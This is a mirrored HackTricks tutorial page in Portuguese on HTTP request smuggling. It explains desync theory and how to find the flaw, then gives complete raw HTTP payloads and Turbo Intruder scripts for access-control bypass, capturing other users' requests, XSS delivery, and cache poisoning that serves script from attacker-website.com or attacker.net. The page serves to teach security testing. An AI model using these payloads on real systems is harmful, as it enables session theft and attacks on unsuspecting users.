Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-12-29 22:43:11 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/http-request-smuggling/README.md

30 KiB
Raw Blame History

HTTP Request Smuggling / Ataque de Desincronização HTTP

Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras formas de apoiar o HackTricks:

O que é

Essa vulnerabilidade ocorre quando uma desincronização entre proxies de front-end e o servidor de back-end permite que um atacante envie uma requisição HTTP que será interpretada como uma única requisição pelos proxies de front-end (balanceador de carga/proxy reverso) e como 2 requisições pelo servidor de back-end.
Isso permite que um usuário modifique a próxima requisição que chega ao servidor de back-end após a dele.

Teoria

Especificação RFC (2161)

Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.

Content-Length

O cabeçalho de entidade Content-Length indica o tamanho do corpo da entidade, em bytes, enviado ao destinatário.

Transfer-Encoding: chunked

O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.
Chunked significa que dados grandes são enviados em uma série de chunks.

Realidade

O Front-End (um balanceador de carga / Proxy Reverso) processa o cabeçalho content-length ou o cabeçalho transfer-encoding e o servidor de Back-End processa o outro provocando uma desincronização entre os 2 sistemas.
Isso pode ser muito crítico, pois um atacante poderá enviar uma requisição para o proxy reverso que será interpretada pelo servidor de back-end como 2 requisições diferentes. O perigo dessa técnica reside no fato de que o servidor de back-end interpretará a 2ª requisição injetada como se ela viesse do próximo cliente e a requisição real desse cliente fará parte da requisição injetada.

Particularidades

Lembre-se de que no HTTP um caractere de nova linha é composto por 2 bytes:

  • Content-Length: Esse cabeçalho usa um número decimal para indicar o número de bytes do corpo da requisição. O corpo é esperado para terminar no último caractere, uma nova linha não é necessária no final da requisição.
  • Transfer-Encoding: Esse cabeçalho usa no corpo um número hexadecimal para indicar o número de bytes do próximo chunk. O chunk deve terminar com uma nova linha, mas essa nova linha não é contada pelo indicador de comprimento. Esse método de transferência deve terminar com um chunk de tamanho 0 seguido por 2 novas linhas: 0
  • Connection: Com base em minha experiência, é recomendado usar Connection: keep-alive na primeira requisição do Request Smuggling.

Exemplos Básicos

Portanto, os ataques de request smuggling envolvem colocar tanto o cabeçalho Content-Length quanto o cabeçalho Transfer-Encoding em uma única requisição HTTP e manipulá-los para que os servidores de front-end e back-end processem a requisição de maneira diferente. A forma exata como isso é feito depende do comportamento dos dois servidores:

  • CL.TE: o servidor de front-end usa o cabeçalho Content-Length e o servidor de back-end usa o cabeçalho Transfer-Encoding.
  • TE.CL: o servidor de front-end usa o cabeçalho Transfer-Encoding e o servidor de back-end usa o cabeçalho Content-Length.
  • TE.TE: os servidores de front-end e back-end suportam o cabeçalho Transfer-Encoding, mas um dos servidores pode ser induzido a não processá-lo obfuscando o cabeçalho de alguma forma.

Vulnerabilidades CL.TE

Aqui, o servidor de front-end usa o cabeçalho Content-Length e o servidor de back-end usa o cabeçalho Transfer-Encoding. Podemos realizar um simples ataque de request smuggling da seguinte forma:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 30
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /404 HTTP/1.1
Foo: x

Observe como o Content-Length indica que o corpo da requisição tem 30 bytes de comprimento (lembre-se que o HTTP usa uma nova linha, então 2 bytes para cada nova linha), então o proxy reverso enviará a requisição completa para o back-end, e o back-end processará o cabeçalho Transfer-Encoding, deixando o GET /404 HTTP/1.1 como o início da próxima requisição (aliás, a próxima requisição será anexada a Foo:x<Próxima requisição começa aqui>).

Vulnerabilidades TE.CL

Aqui, o servidor de front-end usa o cabeçalho Transfer-Encoding e o servidor de back-end usa o cabeçalho Content-Length. Podemos realizar um simples ataque de request smuggling da seguinte forma:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 4
Connection: keep-alive
Transfer-Encoding: chunked
\ `7b`\ `GET /404 HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 30`\
x=
0
\

Neste caso, o proxy reverso vai enviar toda a requisição para o back-end conforme indicado pelo Transfer-encoding. Mas, o back-end vai processar apenas o 7b (4 bytes) conforme indicado no Content-Length. Portanto, a próxima requisição será aquela que começa com GET /404 HTTP/1.1

Obs.: mesmo que o ataque deva terminar com um 0, a próxima requisição será anexada como valores extras do parâmetro x.
Também observe que o Content-Length da requisição incorporada indicará o comprimento da próxima requisição que será anexada ao parâmetro x. Se for muito pequeno, apenas alguns bytes serão anexados, e se for muito grande (maior que o comprimento da próxima requisição), um erro será gerado para a próxima requisição.

Vulnerabilidades TE.TE

Aqui, os servidores de front-end e back-end suportam o cabeçalho Transfer-Encoding, mas um dos servidores pode ser induzido a não processá-lo obfuscando o cabeçalho de alguma forma.
Existem potencialmente infinitas maneiras de obfuscar o cabeçalho Transfer-Encoding. Por exemplo:

Transfer-Encoding: xchunked
\ `Transfer-Encoding : chunked`\
Transfer-Encoding: chunked
Transfer-Encoding: x
\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\
Transfer-Encoding:[tab]chunked
\ `[space]Transfer-Encoding: chunked`\
X: X[\n]Transfer-Encoding: chunked
``
Transfer-Encoding
: chunked

Dependendo do servidor (proxy reverso ou de apoio) que para de processar o cabeçalho TE, você encontrará uma vulnerabilidade CL.TE ou uma vulnerabilidade TE.CL.

Encontrando HTTP Request Smuggling

Encontrando vulnerabilidades CL.TE usando técnicas de temporização

Se uma aplicação for vulnerável à variante CL.TE de request smuggling, então enviar uma requisição como a seguinte frequentemente causará um atraso de tempo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 4

1
A
0

Uma vez que o servidor front-end utiliza o cabeçalho Content-Length, ele encaminhará apenas parte desta solicitação, omitindo o 0. O servidor back-end utiliza o cabeçalho Transfer-Encoding, processa o primeiro chunk e depois aguarda a chegada do próximo chunk. Isso causará um atraso de tempo observável.

Às vezes, em vez de receber um timeout, você recebe um erro 400 bad request do host final, como no seguinte cenário, onde um payload CL.TE é enviado:

E a resposta é um redirecionamento contendo um erro no corpo, inclusive a versão do haproxy utilizada:

Encontrando vulnerabilidades TE.CL usando técnicas de temporização

Se uma aplicação for vulnerável à variante TE.CL de request smuggling, enviar uma solicitação como a seguinte frequentemente causará um atraso de tempo:

POST / HTTP/1.1
Host: vulnerable-website.com
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 6

0
X

Uma vez que o servidor front-end utiliza o cabeçalho Transfer-Encoding, ele encaminhará apenas parte dessa solicitação, omitindo o X. O servidor back-end utiliza o cabeçalho Content-Length, espera mais conteúdo no corpo da mensagem e aguarda a chegada do restante do conteúdo. Isso causará um atraso de tempo observável.

Sondando vulnerabilidades de Request Smuggling HTTP

Depois de descobrir que as técnicas de temporização estão funcionando, você precisa verificar se pode alterar as solicitações de outros clientes.
A maneira mais fácil de fazer isso é tentar envenenar suas próprias solicitações, fazendo uma solicitação para / retornar um 404, por exemplo.
Nos Exemplos Básicos já vimos exemplos de CL.TE e TE.CL de como envenenar uma solicitação de um cliente para solicitar /404, provocando uma resposta 404 quando o cliente estava solicitando qualquer outro recurso.

Notas

Algumas considerações importantes devem ser mantidas em mente ao tentar confirmar vulnerabilidades de request smuggling via interferência com outras solicitações:

  • A solicitação "de ataque" e a solicitação "normal" devem ser enviadas ao servidor usando conexões de rede diferentes. Enviar ambas as solicitações pela mesma conexão não provará que a vulnerabilidade existe.
  • A solicitação "de ataque" e a solicitação "normal" devem usar o mesmo URL e nomes de parâmetros, na medida do possível. Isso ocorre porque muitas aplicações modernas roteiam solicitações front-end para diferentes servidores back-end com base no URL e nos parâmetros. Usar o mesmo URL e parâmetros aumenta a chance de que as solicitações sejam processadas pelo mesmo servidor back-end, o que é essencial para o ataque funcionar.
  • Ao testar a solicitação "normal" para detectar qualquer interferência da solicitação "de ataque", você está em uma corrida com quaisquer outras solicitações que a aplicação esteja recebendo ao mesmo tempo, incluindo aquelas de outros usuários. Você deve enviar a solicitação "normal" imediatamente após a solicitação "de ataque". Se a aplicação estiver ocupada, talvez seja necessário realizar várias tentativas para confirmar a vulnerabilidade.
  • Em algumas aplicações, o servidor front-end funciona como um balanceador de carga e encaminha solicitações para diferentes sistemas back-end de acordo com algum algoritmo de balanceamento de carga. Se suas solicitações "de ataque" e "normais" forem encaminhadas para diferentes sistemas back-end, o ataque falhará. Esta é uma razão adicional pela qual você pode precisar tentar várias vezes antes que uma vulnerabilidade possa ser confirmada.
  • Se seu ataque tiver sucesso em interferir em uma solicitação subsequente, mas esta não foi a solicitação "normal" que você enviou para detectar a interferência, isso significa que outro usuário da aplicação foi afetado pelo seu ataque. Se você continuar realizando o teste, isso poderá ter um efeito disruptivo sobre outros usuários, e você deve agir com cautela.

Forçando via cabeçalhos hop-by-hop

Abusando dos cabeçalhos hop-by-hop, você poderia indicar ao proxy para excluir o cabeçalho Content-Length ou Transfer-Encoding para que um HTTP request smuggling seja possível de ser abusado.

Connection: Content-Length

Para mais informações sobre cabeçalhos hop-by-hop, visite:

{% content-ref url="../abusing-hop-by-hop-headers.md" %} abusing-hop-by-hop-headers.md {% endcontent-ref %}

Abusando do HTTP Request Smuggling

Para burlar controles de segurança front-end

Às vezes, os proxies front-end realizarão algumas verificações de segurança. Você pode evitá-los abusando do HTTP Request Smuggling, pois será capaz de burlar as proteções. Por exemplo, neste caso você não pode acessar /admin externamente e o proxy front-end está verificando isso, mas este proxy não está verificando a solicitação incorporada:

CL.TE

POST / HTTP/1.1
Host: acb21fdd1f98c4f180c02944000100b5.web-security-academy.net
Cookie: session=xht3rUYoc83NfuZkuAp8sDxzf0AZIwQr
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 67
Transfer-Encoding: chunked
\ `0`\
GET /admin HTTP/1.1
Host: localhost
Content-Length: 10
``
x=

TE.CL

POST / HTTP/1.1
Host: ace71f491f52696180f41ed100d000d4.web-security-academy.net
Cookie: session=Dpll5XYw4hNEu09dGccoTjHlFNx5QY1c
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 4
Transfer-Encoding: chunked
2b
GET /admin HTTP/1.1
Host: localhost
a=x
0
\

Revelando a reescrita de solicitação front-end

Em muitas aplicações, o servidor front-end realiza alguma reescrita de solicitações antes de serem encaminhadas para o servidor back-end, geralmente adicionando alguns cabeçalhos de solicitação adicionais.
Uma coisa comum a fazer é adicionar ao cabeçalho da solicitação X-Forwarded-For: <IP do cliente> ou algum cabeçalho semelhante para que o back-end saiba o IP do cliente.
Às vezes, se você puder encontrar quais novos valores são anexados à solicitação, você pode ser capaz de burlar proteções e acessar informações/endpoints ocultos.

Para descobrir como o proxy está reescrevendo a solicitação, você precisa encontrar um parâmetro POST que o back-end refletirá seu valor na resposta. Em seguida, use este parâmetro como o último e use um exploit como este:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 130
Connection: keep-alive
Transfer-Encoding: chunked
0
\ `POST /search HTTP/1.1`\ `Host: vulnerable-website.com`\ `Content-Type: application/x-www-form-urlencoded`\ `Content-Length: 100`\
search=

Neste caso, a próxima solicitação será anexada após search=, que é também o parâmetro cujo valor será refletido na resposta, portanto, ele vai refletir os cabeçalhos da próxima solicitação.

Observe que apenas o comprimento indicado no cabeçalho Content-Length da solicitação incorporada será refletido. Se você usar um número baixo, apenas alguns bytes serão refletidos, se você usar um número maior do que o comprimento de todos os cabeçalhos, então a solicitação incorporada lançará um erro. Portanto, você deve começar com um número pequeno e aumentá-lo até ver tudo o que deseja ver.
Observe também que esta técnica também é explorável com uma vulnerabilidade TE.CL, mas a solicitação deve terminar com search=\r\n0. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Finalmente, observe que neste ataque ainda estamos nos atacando para aprender como o proxy front-end está reescrevendo a solicitação.

Capturando solicitações de outros usuários

Se você encontrar uma solicitação POST que vai salvar o conteúdo de um dos parâmetros, você pode anexar a seguinte solicitação como o valor desse parâmetro para armazenar a solicitação do próximo cliente:

POST / HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 319
Connection: keep-alive
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
Transfer-Encoding: chunked
\ `0`\
POST /post/comment HTTP/1.1
Host: ac031feb1eca352f8012bbe900fa00a1.web-security-academy.net
Content-Length: 659
Content-Type: application/x-www-form-urlencoded
Cookie: session=4X6SWQeR8KiOPZPF2Gpca2IKeA1v4KYi
``
csrf=gpGAVAbj7pKq7VfFh45CAICeFCnancCM&postId=4&name=HACKTRICKS&email=email%40email.com&comment=

Neste caso, o valor do parâmetro comentário será salvo dentro de um comentário de uma postagem na página que é publicamente acessível, então um comentário aparecerá com o conteúdo da próxima solicitação.

Uma limitação desta técnica é que geralmente só capturará dados até o delimitador de parâmetros aplicável à solicitação contrabandeada. Para envios de formulários codificados em URL, isso será o caractere &, o que significa que o conteúdo armazenado da solicitação do usuário vítima terminará no primeiro &, que pode até mesmo aparecer na string de consulta.

Observe também que esta técnica também é explorável com uma vulnerabilidade TE.CL, mas a solicitação deve terminar com search=\r\n0. No entanto, independentemente dos caracteres de nova linha, os valores serão anexados ao parâmetro de pesquisa.

Usando HTTP request smuggling para explorar XSS refletido

Se a página da web também for vulnerável a XSS refletido, você pode abusar do HTTP Request Smuggling para atacar os clientes da web. A exploração de XSS refletido a partir do HTTP Request Smuggling tem algumas vantagens:

  • Não requer interação com usuários vítimas
  • Pode ser usado para explorar o comportamento de XSS em partes da solicitação que não podem ser controladas facilmente em um ataque de XSS refletido normal, como cabeçalhos de solicitação HTTP.

Se um site for vulnerável a XSS refletido no cabeçalho User-Agent, você pode usar esta carga útil para explorá-lo:

POST / HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0
Cookie: session=Ro7YknOtbl3bxURHAAxZz84qj3PSMnSY
Transfer-Encoding: chunked
Connection: keep-alive
Content-Length: 213
Content-Type: application/x-www-form-urlencoded
\ `0`\
GET /post?postId=2 HTTP/1.1
Host: ac311fa41f0aa1e880b0594d008d009e.web-security-academy.net
User-Agent: "><script>alert(1)</script>
Content-Length: 10
Content-Type: application/x-www-form-urlencoded
``
A=

Usando HTTP request smuggling para transformar um redirecionamento no local em um redirecionamento aberto

Muitas aplicações realizam redirecionamentos no local de uma URL para outra e colocam o nome do host do cabeçalho Host da solicitação no URL de redirecionamento. Um exemplo disso é o comportamento padrão dos servidores web Apache e IIS, onde uma solicitação para uma pasta sem uma barra final recebe um redirecionamento para a mesma pasta incluindo a barra final:

GET /home HTTP/1.1
Host: normal-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://normal-website.com/home/

Esse comportamento é normalmente considerado inofensivo, mas pode ser explorado em um ataque de smuggling para redirecionar outros usuários para um domínio externo. Por exemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 54
Connection: keep-alive
Transfer-Encoding: chunked
\ `0`\
GET /home HTTP/1.1
Host: attacker-website.com
Foo: X

A solicitação contrabandeada acionará um redirecionamento para o site do atacante, o que afetará a solicitação do próximo usuário que é processada pelo servidor back-end. Por exemplo:

GET /home HTTP/1.1
Host: attacker-website.com
Foo: XGET /scripts/include.js HTTP/1.1
Host: vulnerable-website.com
``
HTTP/1.1 301 Moved Permanently
Location: https://attacker-website.com/home/

Aqui, a solicitação do usuário era para um arquivo JavaScript que foi importado por uma página no site. O atacante pode comprometer totalmente o usuário vítima retornando seu próprio JavaScript na resposta.

Usando HTTP request smuggling para realizar envenenamento de cache web

Se alguma parte da infraestrutura front-end realizar o cache de conteúdo (geralmente por motivos de desempenho), pode ser possível envenenar esse cache modificando a resposta do servidor.

Já vimos como modificar o valor retornado esperado do servidor para um 404 (nos Exemplos Básicos), de forma semelhante, você poderia fazer o servidor retornar o conteúdo de /index.html quando a solicitação envenenada estiver pedindo por /static/include.js. Dessa forma, o conteúdo do /static/include.js será armazenado com o conteúdo de /index.html, tornando /static/include.js inacessível para os clientes (DoS?).

Observe que isso é ainda mais interessante se você encontrar algum Redirecionamento Aberto ou algum redirecionamento no local para redirecionamento aberto (última seção). Porque, você poderia ser capaz de alterar os valores de cache de /static/include.js com os de um script controlado por você (fazendo um XSS geral para todos os clientes que tentarem baixar a nova versão de /static/include.js).

Neste exemplo, será mostrado como você pode explorar um envenenamento de cache + redirecionamento no local para redirecionamento aberto para modificar o conteúdo do cache de /static/include.js para servir código JS controlado pelo atacante:

POST / HTTP/1.1
Host: vulnerable.net
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
Content-Length: 124
Transfer-Encoding: chunked
\ `0`\
GET /post/next?postId=3 HTTP/1.1
Host: attacker.net
Content-Type: application/x-www-form-urlencoded
Content-Length: 10
``
x=1

Observe como a solicitação incorporada está pedindo /post/next?postId=3. Esta solicitação será redirecionada para /post?postId=4 e usará o valor do cabeçalho Host para indicar o domínio. Portanto, você pode modificar o cabeçalho Host para apontar para o servidor do atacante e o redirecionamento usará esse domínio (redirecionamento no local para redirecionamento aberto).

Então, após envenenar o socket, você precisa enviar uma solicitação GET para **/static/include.js** esta solicitação será envenenada pela solicitação redirecionamento no local para redirecionamento aberto e pegará o conteúdo do script controlado pelo atacante.

Na próxima vez que alguém solicitar /static/include.js, o conteúdo em cache do script do atacante será servido (XSS geral).

Usando HTTP request smuggling para realizar a decepção de cache web

Qual é a diferença entre envenenamento de cache web e decepção de cache web?

  • No envenenamento de cache web, o atacante faz com que a aplicação armazene algum conteúdo malicioso no cache, e este conteúdo é servido do cache para outros usuários da aplicação.
  • Na decepção de cache web, o atacante faz com que a aplicação armazene algum conteúdo sensível pertencente a outro usuário no cache, e o atacante então recupera este conteúdo do cache.

Nesta variante, o atacante contrabandeia uma solicitação que retorna algum conteúdo sensível específico do usuário. Por exemplo:

POST / HTTP/1.1
Host: vulnerable-website.com
Connection: keep-alive
Content-Length: 43
Transfer-Encoding: chunked
\ `0`\
GET /private/messages HTTP/1.1
Foo: X

Se o envenenamento atingir um cliente que estava acessando algum conteúdo estático como /someimage.png que seria armazenado em cache. O conteúdo de /private/messages da vítima será armazenado em /someimage.png e o atacante poderá roubá-lo.
Observe que o atacante não sabe qual conteúdo estático o usuário vítima estava tentando acessar então provavelmente a melhor maneira de testar isso é realizar o ataque, esperar alguns segundos e carregar todos os conteúdos estáticos e procurar pelos dados privados.

Armando o HTTP Request Smuggling com Desincronização de Resposta HTTP

Você encontrou alguma vulnerabilidade de HTTP Request Smuggling e não sabe como explorá-la. Experimente este outro método de exploração:

{% content-ref url="../http-response-smuggling-desync.md" %} http-response-smuggling-desync.md {% endcontent-ref %}

Scripts do Turbo Intruder

CL.TE

De https://hipotermia.pw/bb/http-desync-idor

def queueRequests(target, wordlists):

engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar

0

GET /admin7 HTTP/1.1
X-Foo: k'''

engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)

def handleResponse(req, interesting):
table.add(req)

TE.CL

De: https://hipotermia.pw/bb/http-desync-account-takeover

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()

attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked

46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15

kk
0

'''
engine.queue(attack)

victim = '''GET / HTTP/1.1
Host: xxx.com

'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)


def handleResponse(req, interesting):
table.add(req)

Mais informações

https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104

Imagem daqui.

Ferramentas

Referências

Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!

Outras maneiras de apoiar o HackTricks: